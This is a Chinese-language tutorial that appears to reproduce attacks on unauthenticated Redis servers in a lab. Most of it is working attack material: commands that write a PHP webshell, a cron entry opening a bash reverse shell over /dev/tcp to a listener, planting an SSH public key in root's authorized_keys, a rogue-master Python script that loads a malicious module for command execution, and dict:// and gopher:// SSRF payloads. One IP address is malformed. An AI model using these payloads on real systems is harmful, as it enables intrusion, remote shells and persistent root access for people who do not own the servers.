redis未授权

Redis介绍

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库。

安装教程

第1步:Redis下载
wget http://download.redis.io/releases/redis-3.2.11.tar.gz

第2步:Redis解压、编译
tar zxvf redis-3.2.11.tar.gz
cd redis-3.2.11
make      #编译失败也可以的,不影响
make install
进入 redis.conf 文件,还原漏洞现场,修改配置文件

vim redis.conf 新版中这里是127.0.0.1,将他注释掉或者改为0.0.0.0

将保护模式改为no

完成之后启动服务

redis-server redis.conf     启动服务
redis-cli shutdown          关闭服务

关闭防火墙命令: service iptables stop 永久关闭防火墙:chkconfig iptables off

永久有效:修改/etc/sysconfig/selinux 将SELINUX=enforcing,改为SELINUX=disabled。然后重启 即时有效:setenforce 0

在kali下安装redis-cli

wget http://download.redis.io/releases/redis-2.8.12.tar.gz        下载

tar -xzf redis-2.8.12.tar.gz   # 解压
cd redis-2.8.12                   #cd进入redis目录
make                                 #make安装

进入src目录
cd src
./redis-cli -h            如果这个命令出现帮助界面说明可以正常使用

连接靶机
./redis-cli -h 192.168.62.137 -p 6379

尝试输入命令info,可以成功执行

查看所有秘钥(我这表示为空,没有秘钥)

keys *

攻击利用

写入文件

设置路径,把shell写入到网站根目录下(/var/www/html/)
CONFIG SET dir /var/www/html/

修改备份文件名
CONFIG SET dbfilename 1.php

写入内容
SET webshell "<?php phpinfo();?>"
save

查看是否写入成功

反弹shell

在kali里开启监听

nc -lvvp 9999

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.239143/9999 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

等待一分钟,kali已经成功接收shell

通过写入SSH公钥实现SSH登录

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。

在kali生成ssh公钥 (一路回车即可) ssh-keygen -t rsa

查看id_rsa.pub

cat /root/.ssh/id_rsa.pub

执行redis命令

config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa 这里填id_rsa.pub的内容 root@kali\n\n\n"
save

清空数据库
FLUSHALL

Redis主从复制getshell

原理: 利用主从特性传输数据,通过模块加载,增加执行命令的函数。

下载镜像 docker pull damonevking/redis5.0

映射端口并运行容器 docker run -p 6379:6379 -d damonevking/redis5.0 redis-server

自动化工具

exp下载地址: redis-rce redis-rogue-server

环境编译

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make

git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt 
python redis-rce.py -r 136.244.70.243(目标ip) -L 136.244.70.243(自己的ip) -f module.so

python3 redis-rce.py -r 136.244.70.243(目标ip) -L 136.244.70.243(自己的ip) -f exp.so

手动

利用docker开启2台redis容器用于复现主从复制。

下载镜像 docker pull damonevking/redis5.0

映射端口并运行容器

docker run -p 6379:6379 -d damonevking/redis5.0 redis-server
docker run -p 6666:6379 -d --name redis-service-3 damonevking/redis5.0

首先进入主redis

set webshell "<?php phpinfo();?>"
get webshell

在本地 redis 设置远程服务器 redis 服务器为主服务器,同步远程服务器 redis 的内容

slaveof 192.168.72.196 6379
role
get shell

写shell

config set dir /data/
config set dbfilename 11.txt
save

关闭同步
SLAVEOF NO ONE

清除缓存
flushall

编写脚本,构造恶意Redis服务器,监听本地端口1234,加载exp.so。 python RogueServer.py –lport 1234 –exp exp.so

config set dir ./               #设置redis的备份路径为当前目录
config set dbfilename exp.so    #设置备份文件名为exp.so,默认为dump.rdb
slaveof 192.168.172.129 1234    #设置主服务器IP和端口
module load ./exp.so            #加载恶意模块
slaveof no one                  #切断主从,关闭复制功能
system.exec 'whoami'            #执行系统命令
system.rev 127.0.0.1 9999    
config set dbfilename dump.rdb  #通过dump.rdb文件恢复数据
system.exec 'rm ./exp.so'       #删除exp.so
module unload system            #卸载system模块的加载

成功执行系统命令

Redis服务端模拟脚本

import socket
from time import sleep
from optparse import OptionParser

def RogueServer(lport):
    resp = ""
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    conn,address = sock.accept()  
    sleep(5)
    while True:    
        data = conn.recv(1024)
        if "PING" in data:
            resp="+PONG"+CLRF
            conn.send(resp)
        elif "REPLCONF" in data:
            resp="+OK"+CLRF
            conn.send(resp)
        elif "PSYNC" in data or "SYNC" in data:
            resp =  "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
            resp += "$" + str(len(payload)) + CLRF
            resp = resp.encode()
            resp += payload + CLRF.encode()
            if type(resp) != bytes:
                resp =resp.encode()            
            conn.send(resp)    
        #elif "exit" in data:
            break


if __name__=="__main__":

    parser = OptionParser()                     
    parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")        
    parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")            

    (options , args )= parser.parse_args()
    lport = options.lp
    exp_filename = options.exp

    CLRF="\r\n"
    payload=open(exp_filename,"rb").read()
    print "Start listing on port: %s" %lport
    print "Load the payload:   %s" %exp_filename     
    RogueServer(lport)

SSRF+Redis 反弹shell

参照Redis手动getshell的过程,可轻易实现SSRF+Redis反弹shell。

以curl为例,漏洞代码为ssrf.php:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>

环境准备: 模拟内网未授权Redis服务器:192.168.172.131 模拟攻击者机器:192.168.172.129 在攻击者机器上构建恶意Redis服务器,同时监听本地9999端口等待shell返回。

1、利用dict协议反弹shell

#查看当前redis的相关配置
ssrf.php?url=dict://192.168.172.131:6379/info

#设置备份文件名
ssrf.php?url=dict://192.168.172.131:6379/config:set:dbfilename:exp.so

#连接恶意Redis服务器
ssrf.php?url=dict://192.168.172.131:6379/slaveof:192.168.172.129:1234

#加载恶意模块
ssrf.php?url=dict://192.168.172.131:6379/module:load:./exp.so

#切断主从复制
ssrf.php?url=dict://192.168.172.131:6379/slaveof:no:one

#执行系统命令
 ssrf.php?url=dict://192.168.172.131:6379/system.rev:192.168.172.129:9999

2、利用gopher协议反弹shell

#设置文件名,连接恶意Redis服务器
gopher://192.168.172.131:6379/_config%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.172.129%25201234%250d%250aquit

#加载exp.so,反弹shell
gopher://192.168.172.131:6379/_module%2520load%2520./exp.so%250d%250asystem.rev%2520192.168.172.129%25209999%250d%250aquit

3、利用这两种协议,都可以成功获取shell。